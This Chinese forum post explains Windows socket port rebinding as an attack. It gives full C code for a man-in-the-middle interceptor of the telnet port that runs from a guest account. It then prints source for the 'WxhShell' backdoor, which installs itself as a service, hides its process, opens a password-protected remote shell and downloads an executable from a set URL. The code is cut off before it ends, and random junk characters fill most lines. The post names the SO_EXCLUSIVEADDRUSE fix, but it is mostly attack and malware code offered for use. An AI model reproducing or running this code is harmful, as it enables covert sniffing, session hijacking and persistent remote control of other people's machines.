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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8FU8E2zo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wi)Y9frE  
?7*.S Lt  
  saddr.sin_family = AF_INET; <0T|RhbY   
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k`_sKr]9  
U]ynnw4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eD 4X:^@  
58V`I5_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kZ>_m &g  
~l+2Z4nV  
  这意味着什么?意味着可以进行如下的攻击: 3f@@|vZF  
o#fr5>h-w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x8 _f/2&  
u5;;s@{Ye4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @IhC:Yc  
[;t-XC?[nk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +saXN6  
k<Qhw)M8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d<K2 \:P{}  
( RO-~-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 & %A&&XT9  
`i`+yh>pc#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G%iT L"6  
=gNPS 0H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /s*.:cdH  
Kv0V`}<Yc  
  #include +`,;tz=?  
  #include !6!Gx:  
  #include ]-8WM5\qJM  
  #include    7-:R{&3Lm:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ' _d4[Olu  
  int main() I+=+ ,iXhB  
  { Xii>?sA5Z"  
  WORD wVersionRequested; c+ D <  
  DWORD ret; *4/FN TC  
  WSADATA wsaData; 'X<4";$mU  
  BOOL val; }@eIO|  
  SOCKADDR_IN saddr; m/z,MT74*J  
  SOCKADDR_IN scaddr; jr,N+K(@T  
  int err; *Nm$b+  
  SOCKET s; CP~mKmMV  
  SOCKET sc; Jsl2RdI  
  int caddsize; #x;,RPw5  
  HANDLE mt; C];P yQS  
  DWORD tid;   5r`rstV  
  wVersionRequested = MAKEWORD( 2, 2 );  0:f]&Ng  
  err = WSAStartup( wVersionRequested, &wsaData ); dgL>7X=7  
  if ( err != 0 ) { ~w a6S?  
  printf("error!WSAStartup failed!\n"); P#O2MiG  
  return -1; ia7<AwV  
  } 4qdoF_  
  saddr.sin_family = AF_INET; zcKQD)]  
   4;fuS_(X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l|=4FIMD  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SRwD`FF  
  saddr.sin_port = htons(23); AH|gI2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,$0-I@*V  
  { TjyL])$  
  printf("error!socket failed!\n"); C,An\lsT  
  return -1; 5BJ E  
  } )V\@N*L`ik  
  val = TRUE; L.Qz29\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fC[za,PXaE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `&M,B=E  
  { J0?kEr  
  printf("error!setsockopt failed!\n"); P.}d@qD{)  
  return -1; x;17}KV  
  } hW~.F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u.|Z3=?VG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M2O_kO eZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <eoie6@3  
dE7S[O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ){*+s RBW  
  { _y@].G  
  ret=GetLastError(); l~6K}g?  
  printf("error!bind failed!\n"); <Dd>- K  
  return -1; Dwp,d~z  
  } 98>GHl'lM  
  listen(s,2); `#N/]4(j  
  while(1) QO2cTk m  
  { j*jUcD *  
  caddsize = sizeof(scaddr); ilA45@  
  //接受连接请求 UFG_ZoD+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v1 .3gzR  
  if(sc!=INVALID_SOCKET) ;-+q*@sa]  
  { .T| }rB<c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SIe!=F[  
  if(mt==NULL) qCV<-o  
  { X@rA2);6  
  printf("Thread Creat Failed!\n"); Y`;}w}EcgR  
  break; @^P^- B  
  } GJ+^t  
  } Fx9-A8oIR  
  CloseHandle(mt); .ZpOYhk  
  } ZJYn[\]  
  closesocket(s); \N,ox(f?gW  
  WSACleanup(); N3%X>*'  
  return 0; mdj%zJ8/  
  }   lQn" 6o1  
  DWORD WINAPI ClientThread(LPVOID lpParam) (_T{Z>C/J  
  { ]A*}Dem*5  
  SOCKET ss = (SOCKET)lpParam; rE3dHJN;  
  SOCKET sc; b)LT[>f  
  unsigned char buf[4096]; )@PnpC%H  
  SOCKADDR_IN saddr; D|]BFu)F  
  long num; qt/K$'  
  DWORD val; "mlQ z4D)5  
  DWORD ret; }qNc `8h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2u"lc'9v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |=?#Xbxz  
  saddr.sin_family = AF_INET; asT-=p_ 0.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }>A q<1%  
  saddr.sin_port = htons(23); K\Ea\b[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $l7^-SK`E  
  { 7]ieBUf S  
  printf("error!socket failed!\n"); "yWw3(V2>  
  return -1; {o=?@$6C  
  } >=~\b  
  val = 100; q7R]!zk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f6Qr0Op  
  { S@qp_!  
  ret = GetLastError(); :^;c(>u{  
  return -1; e+ xQ\LH  
  } Shn,JmR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |VfEp  
  { 3EoCEPb#  
  ret = GetLastError(); _( W@FS  
  return -1; #6`5-5Ks;  
  }  Z>[7#;;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }X(&QZ7i`  
  { k+<9 45kC  
  printf("error!socket connect failed!\n"); pLMt 2 G  
  closesocket(sc); Oy6fl'FIt  
  closesocket(ss); ,:_c-d#  
  return -1; Q&9 yrx.  
  } d,<ni"  
  while(1) 0[;2dc  
  { 60D36b(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fi+}hGj(r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _)A|JC!jId  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JA^o/%a^  
  num = recv(ss,buf,4096,0); a#oROb-*~  
  if(num>0) 7Ai?}%b-  
  send(sc,buf,num,0); p/H.bG!z  
  else if(num==0) L/3A g* ]  
  break; f?3-C8 hU  
  num = recv(sc,buf,4096,0); b#j:)PA0C  
  if(num>0) 53Adic  
  send(ss,buf,num,0); j=\h|^gA  
  else if(num==0) aDlp>p^E>  
  break; X.]I4O&_  
  } aSR-.r  
  closesocket(ss); 'yo@5*x7  
  closesocket(sc); n1[c\1   
  return 0 ; Y&|Z*s+ +}  
  } z8kO)'  
:]3X Ez  
rd <m:r  
========================================================== \Z{tC$|H  
4GYi'  
下边附上一个代码,,WXhSHELL PKm|?kn{0(  
AFLtgoXn:  
========================================================== 3m1g"  
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#include "stdafx.h" 8%rD/b6`  
MK< y$B{}  
#include <stdio.h> lu utyK!  
#include <string.h> >w,L=z=  
#include <windows.h> 8R~<$ xz  
#include <winsock2.h> U,GSWMI/K  
#include <winsvc.h> Q*M#e  
#include <urlmon.h> ULx:2jz  
*v<f#hB"  
#pragma comment (lib, "Ws2_32.lib") # :+Nr  
#pragma comment (lib, "urlmon.lib") unDW2#GX  
X9>fE{)!  
#define MAX_USER   100 // 最大客户端连接数 @N'n>8Wn  
#define BUF_SOCK   200 // sock buffer ,BdObx  
#define KEY_BUFF   255 // 输入 buffer R'c*CLaiE  
y<`5  
#define REBOOT     0   // 重启 <,vIN,Kl8/  
#define SHUTDOWN   1   // 关机 5(;Y&?k  
[@$ SLl^Y  
#define DEF_PORT   5000 // 监听端口  3@Ndn  
"&(/bdah?&  
#define REG_LEN     16   // 注册表键长度 .ARYCTyG  
#define SVC_LEN     80   // NT服务名长度 Y;w|Fvjj+  
G?4@[m  
// 从dll定义API _{|a<Keq|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c!w[)>v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "&L8d(ZuA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xU'z>y4V$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E|pT6  
^}  {r@F  
// wxhshell配置信息 !Uiq3s`1T  
struct WSCFG { p.:651b  
  int ws_port;         // 监听端口 ^^q&VL  
  char ws_passstr[REG_LEN]; // 口令 M+"6VtZH  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z% +$<J  
  char ws_regname[REG_LEN]; // 注册表键名 a\sK{`|X*  
  char ws_svcname[REG_LEN]; // 服务名 We6eAP/Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P" c@V,.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }L0 [ Jo:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &M-vKc"d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $S>'0mL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0E\#!L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x,n l PU  
Whd >  
}; m .++nF  
f )Lcs  
// default Wxhshell configuration 9hr7+fW]t  
struct WSCFG wscfg={DEF_PORT, u|KjoO   
    "xuhuanlingzhe", Jp jHbG  
    1, Q{~g<G  
    "Wxhshell", H&-3`<  
    "Wxhshell", c0wLc,)G  
            "WxhShell Service", Byq VNz0L  
    "Wrsky Windows CmdShell Service", =A!oLe$%  
    "Please Input Your Password: ", (iKJ~bJ  
  1, )qx;/=D  
  "http://www.wrsky.com/wxhshell.exe", = #-zK:4  
  "Wxhshell.exe" O=__w *<  
    }; h6k" D4o\  
-k + jMH  
// 消息定义模块 vom3 C9o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s AFn.W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eipg,EI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pW+uVv,  
char *msg_ws_ext="\n\rExit."; nlpEkq  
char *msg_ws_end="\n\rQuit."; aV5M}:D  
char *msg_ws_boot="\n\rReboot..."; =]%,&Se  
char *msg_ws_poff="\n\rShutdown..."; ?Uq"zq  
char *msg_ws_down="\n\rSave to "; ezw*Lo!  
kqX=3Zo  
char *msg_ws_err="\n\rErr!"; LZ wCe$1  
char *msg_ws_ok="\n\rOK!"; wa<k%_# M  
% PzkVs  
char ExeFile[MAX_PATH]; * WV=Xp  
int nUser = 0; j7)mC4o:%  
HANDLE handles[MAX_USER]; IP/%=m)\%  
int OsIsNt; W,EIBgR(R5  
u<8b5An;  
SERVICE_STATUS       serviceStatus; T1q27I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x^@oY5}cr  
T9R# .y,  
// 函数声明 ,KJHYm=Q  
int Install(void); ,c:NdY(,)  
int Uninstall(void); /-v ;  
int DownloadFile(char *sURL, SOCKET wsh); ^"O>EY':  
int Boot(int flag); P@PF" {S  
void HideProc(void); A:Wr5`FJ  
int GetOsVer(void); pl%!AY'oE>  
int Wxhshell(SOCKET wsl); HL&HY)W1gf  
void TalkWithClient(void *cs); 8\68NG6o  
int CmdShell(SOCKET sock); .;g kV-]  
int StartFromService(void); Y_Fn)(  
int StartWxhshell(LPSTR lpCmdLine); y5F+~z }{  
cW>=/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  FkrXM!mJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t@R[:n;+  
vYm-$KQ"o  
// 数据结构和表定义 hYpxkco"4'  
SERVICE_TABLE_ENTRY DispatchTable[] = nHm29{G0  
{ C W#:'  
{wscfg.ws_svcname, NTServiceMain}, .O"a:^i  
{NULL, NULL} zoi0Z  
}; P!Fy kg  
i=\)[;U  
// 自我安装 Dx1(}D  
int Install(void) Hmr f\(x  
{ %W9R08`  
  char svExeFile[MAX_PATH]; _|US`,kfc  
  HKEY key; gdeM,A|  
  strcpy(svExeFile,ExeFile); [hSJ)IZh  
Xgd-^  
// 如果是win9x系统,修改注册表设为自启动 Vm<_e  
if(!OsIsNt) { o3`U;@&u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _!1LV[x!s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2m#BMV  
  RegCloseKey(key); Y>w7%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :0:Tl/))  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^P@:CBO  
  RegCloseKey(key); ! DOyOTR&3  
  return 0; vY_[@y  
    } i*/i"W<  
  } }P?e31@:  
} )KE  
else { T='uqKW\  
'>t&fzD0  
// 如果是NT以上系统,安装为系统服务 uCr& `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #dae^UjM  
if (schSCManager!=0) d~qQ_2M[G  
{ I+H~ 5zq.  
  SC_HANDLE schService = CreateService _ cQ '3@  
  ( x3&gB`j-  
  schSCManager, 0]bt}rh  
  wscfg.ws_svcname, uQ-GJI^t  
  wscfg.ws_svcdisp, <z\SKR[  
  SERVICE_ALL_ACCESS, _l9fNf!@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y/\b0&  
  SERVICE_AUTO_START,  j5/pVXO  
  SERVICE_ERROR_NORMAL, SM8N*WdiU  
  svExeFile, 4+q,[m-$(  
  NULL, q~ a FV<Q  
  NULL, *@''OyL  
  NULL, \ji\r]k  
  NULL, xg/(  
  NULL $x'jf?zs!  
  ); }R<t=):  
  if (schService!=0) 'r7[9[  
  { zA9q`ePS  
  CloseServiceHandle(schService); jKmjZz8L]%  
  CloseServiceHandle(schSCManager); ^nNY| *  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AB/${RGf+  
  strcat(svExeFile,wscfg.ws_svcname); t$nJmfzm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qw2`@P8W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xR0*w7YE  
  RegCloseKey(key); { .$7g8]I  
  return 0; B-N//ef}  
    } V\zcv@  
  } "O>~osj  
  CloseServiceHandle(schSCManager); I>FL&E@K  
} VQpt1cK*  
} 1ARtFR2C{b  
HSNj  
return 1; [T r7SU#x  
} s 1M-(d Q  
Eh8GqFEM  
// 自我卸载 &D M3/^70  
int Uninstall(void) I%r7L  
{ zNX=V!$  
  HKEY key; *,G< X^  
;xiN<f4B  
if(!OsIsNt) { .5; JnJI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u;$qJjS N  
  RegDeleteValue(key,wscfg.ws_regname); tRU/[?!  
  RegCloseKey(key); :;Z/$M16B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sC\?{B0 r  
  RegDeleteValue(key,wscfg.ws_regname); ]\fHc"/  
  RegCloseKey(key); D Z*c.|W  
  return 0; mh"PAp  
  } 1oO(;--u_  
} uxxk&+M  
} #WG}"[ ,c  
else { ,Dv*<La`\  
+ZjDTTk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {H,O@  
if (schSCManager!=0) m&=Dy5  
{ VE]TT><  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ef*Z;HI0  
  if (schService!=0) spP[S"gI  
  { t"Du  
  if(DeleteService(schService)!=0) { [O\ )R[J  
  CloseServiceHandle(schService); [@qjy*5p  
  CloseServiceHandle(schSCManager); ?a,#p  
  return 0; '~ B2[  
  } p,z>:3M  
  CloseServiceHandle(schService); R(0[bMr3Q  
  } Yz2N(g[  
  CloseServiceHandle(schSCManager); F6 ~ ;f;  
} 0B 1nk!F  
} 92Gfxld\  
>.UEs 8QV  
return 1; d1.@v;  
} XPrnQJ  
L:_{bE|TY  
// 从指定url下载文件 c[,Rh f  
int DownloadFile(char *sURL, SOCKET wsh) =W')jKe0  
{ ?i0u)< H  
  HRESULT hr; ?r|iZKa  
char seps[]= "/"; :s+?"'DP  
char *token; 93Gj#Mk  
char *file; < (9 BO&  
char myURL[MAX_PATH]; hB<(~L? A]  
char myFILE[MAX_PATH]; rg[#(  
xC + >R1)  
strcpy(myURL,sURL); lrkgsv6  
  token=strtok(myURL,seps); q@S \R 7R  
  while(token!=NULL)  ,e 7 ~G  
  { KRm)|bgE  
    file=token; ~)pZ5%C  
  token=strtok(NULL,seps); )RFY2 }  
  } GZ5DI+3  
(JOR: 1aT  
GetCurrentDirectory(MAX_PATH,myFILE); ,*V%  
strcat(myFILE, "\\"); .0/"~5  
strcat(myFILE, file); SsMs#C8u%  
  send(wsh,myFILE,strlen(myFILE),0); -{A64gfFxT  
send(wsh,"...",3,0); e GAto  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qMVuBv  
  if(hr==S_OK) 0ZD)(ps|  
return 0; xzx~H>M  
else Ao\OU}  
return 1; E2o8'.~Yd`  
dJQwb  
} Rbgy?8#9  
UaXIrBc  
// 系统电源模块 =mwAbh)[7n  
int Boot(int flag) dZkKAK:v  
{ UY *Z`$  
  HANDLE hToken; YuO!Y9iEm  
  TOKEN_PRIVILEGES tkp; F` gK6;zp  
NeEV=+<-G  
  if(OsIsNt) { _jCu=l_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P 2x.rukT|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^5!"[RB\  
    tkp.PrivilegeCount = 1; HN;f~EQT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2xy{g&G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Vs5d= B  
if(flag==REBOOT) { @v6{U?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5@bmm]  
  return 0; p)Ht =~  
} Y!u">M#@  
else { [--] ?Dr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p7Yb8#XfU  
  return 0; KAT^vbR  
} o(i?_4 E  
  } #zn`)n  
  else { Hs.5@l  
if(flag==REBOOT) { 9Pm|a~[m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ))6iVgSE$  
  return 0; J<iiA:&J  
} #@M'*X_%}K  
else { Zqg AgN@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !1+!;R@&H>  
  return 0; 'Hq#9?<2M  
} gln X C  
} S }G3ha  
bFIv}c+;  
return 1; M1Th~W9l  
} u&Xn#f h  
+\B.3%\-  
// win9x进程隐藏模块 Uv:NY1(3!  
void HideProc(void) i"M$hXO  
{ 2cJ3b 0Xx  
HqA~q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W^9=z~-h  
  if ( hKernel != NULL ) RjHKFB2  
  { % ELf 7~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rx(z::  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]K>x:vMKH  
    FreeLibrary(hKernel); 4d @ (>  
  } \8-PCD  
hjoxx F\_  
return; dO[pm0  
} 'miY"L:| O  
_dw6 C2]P  
// 获取操作系统版本 l*4_  
int GetOsVer(void) @I0[B<,:G  
{ ^sZ,(sc{G  
  OSVERSIONINFO winfo; $x1PU67  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E\=23[0  
  GetVersionEx(&winfo); Vbpt?1:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ru^j~Cj5  
  return 1; F$&{@hd  
  else hX sH9R  
  return 0; J@ pCF@'  
} >_um-w#C  
E6y ?DXW H  
// 客户端句柄模块 ;AK@Kb  
int Wxhshell(SOCKET wsl) d+:pZ  
{ sAU!u  
  SOCKET wsh; niP/i  
  struct sockaddr_in client; p4'Qki8Hd  
  DWORD myID; $P%b?Y/  
OQm-BL   
  while(nUser<MAX_USER) XDrNc!XN  
{ C'jE'B5b  
  int nSize=sizeof(client); J+6bp0RIh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yv[j5\:x  
  if(wsh==INVALID_SOCKET) return 1; 8'X:}O/  
34\:1z+s M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <[mvfw  
if(handles[nUser]==0) $f^ \fa[  
  closesocket(wsh); g<r'f"^  
else @`6db  
  nUser++; l^ aUN  
  } Tp0^dZM+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /*8Ms`  
Z#lZn!EbK  
  return 0; )cX6o[oia  
} Q]}aZ4L  
h (`Erb  
// 关闭 socket |P"p/iY  
void CloseIt(SOCKET wsh) S4?N_"m9  
{ >b.wk3g@>  
closesocket(wsh); $`&uu  
nUser--; &_EjP hZ  
ExitThread(0); phA^ kdW  
} Iw0Q1bK(  
S>oQm  
// 客户端请求句柄 aBO%qmtt  
void TalkWithClient(void *cs) )"IBw0]  
{ P7Ws$7x  
k2xOu9ncEj  
  SOCKET wsh=(SOCKET)cs; ^=nJ,-(h_  
  char pwd[SVC_LEN]; y:N QLL>  
  char cmd[KEY_BUFF]; ;n Pjyu'g  
char chr[1]; ?{ "_9g9  
int i,j; :Q\{LBc  
xJ|3}o:,  
  while (nUser < MAX_USER) { 8yH*  
SV4a_m?  
if(wscfg.ws_passstr) { 6Y|jK< n?H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); APgP*,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,rB"ag !  
  //ZeroMemory(pwd,KEY_BUFF); fJ3*'(  
      i=0; <MlRy%3Z  
  while(i<SVC_LEN) { 'L w4jq  
3@r_t|j  
  // 设置超时 ab1qcQ<  
  fd_set FdRead; wj fk >  
  struct timeval TimeOut; r?s,  
  FD_ZERO(&FdRead); 3%<Uq%pJ  
  FD_SET(wsh,&FdRead); H*DWDJxmV  
  TimeOut.tv_sec=8; 9Se7 1  
  TimeOut.tv_usec=0; HCh;Xi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8#gS{   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !H`Q^Xf}  
w7H.&7rF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:KZ8'g3}  
  pwd=chr[0]; YEZd8Y  
  if(chr[0]==0xd || chr[0]==0xa) { l:O6`2Z  
  pwd=0; 'sCj\N  
  break; N`tBDl"ld  
  } D@V1}/$UoN  
  i++; xS) njuq4  
    } [TAW68f'  
_`>F>aP  
  // 如果是非法用户,关闭 socket &C eG4_Mi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yv:8=.r}M  
} uaMf3HeYV  
SMr ]Gf.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -9XB.)\#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,~ D_T  
pKf]&?FX  
while(1) { FE+Y#  
tn-_3C  
  ZeroMemory(cmd,KEY_BUFF); :"+/M{qz  
L lmdydC%  
      // 自动支持客户端 telnet标准   |=C&JA  
  j=0; @add'>)  
  while(j<KEY_BUFF) { {Mc^[}9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V[<]BOM\v  
  cmd[j]=chr[0]; 2%YtMkC5  
  if(chr[0]==0xa || chr[0]==0xd) { bi:m;R  
  cmd[j]=0; cd36f26`"w  
  break; j tdhdA  
  } , Vz 1l_7  
  j++; usb.cE3 z  
    } *Mf;  
Oj<.3U[C  
  // 下载文件 GE`:bC3  
  if(strstr(cmd,"http://")) { @SREyqC4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mp:/[%9Fi  
  if(DownloadFile(cmd,wsh)) !xs. [&u8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hl"qLrb4  
  else r<]Db&k   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uJz<:/rwZ-  
  } 90)0\i+P  
  else { d52l)8  
"4c ?hH:C  
    switch(cmd[0]) { {R[FwB^7wJ  
  ,?Pn-aC +  
  // 帮助 Ha l,%W~e  
  case '?': { vn"2"hPF|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2@``=0z  
    break; iB[>uW  
  } IUco 8  
  // 安装 }q1@[ aE  
  case 'i': { 1JIL6w_  
    if(Install())  zk8 o[4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c"OBm#  
    else y2k '^zE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [%(}e1T(  
    break; ,-PzUR4_Kj  
    } >AsD6]  
  // 卸载 c$),/0td|  
  case 'r': { /0Q=}:d  
    if(Uninstall()) 6AeX$>k+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _{CMWo"l  
    else P( >*gp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rk2V[R.`S  
    break; >$,A [|R  
    } UW7*,Bq  
  // 显示 wxhshell 所在路径 < aeBhg%  
  case 'p': { \F]X!#&+  
    char svExeFile[MAX_PATH]; [Nb0&:$ay  
    strcpy(svExeFile,"\n\r"); '>[l1<d!G  
      strcat(svExeFile,ExeFile); WF0%zxg]  
        send(wsh,svExeFile,strlen(svExeFile),0); Qs2 E>C  
    break; 3-cCdn  
    } b_= $W  
  // 重启 +jzwi3B`  
  case 'b': { cW B>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dz fR ^Gv  
    if(Boot(REBOOT)) RAMkTS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$yC +cf  
    else { cIqk=_]  
    closesocket(wsh); .`Ey'T_  
    ExitThread(0); ;,T3C:S?  
    } C?@vBM}  
    break; lz>YjK:  
    } ~!( (?8"  
  // 关机 ?E1<>4S8  
  case 'd': { E (DNK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oBZ\mk L  
    if(Boot(SHUTDOWN)) KL:x!GsV5e  
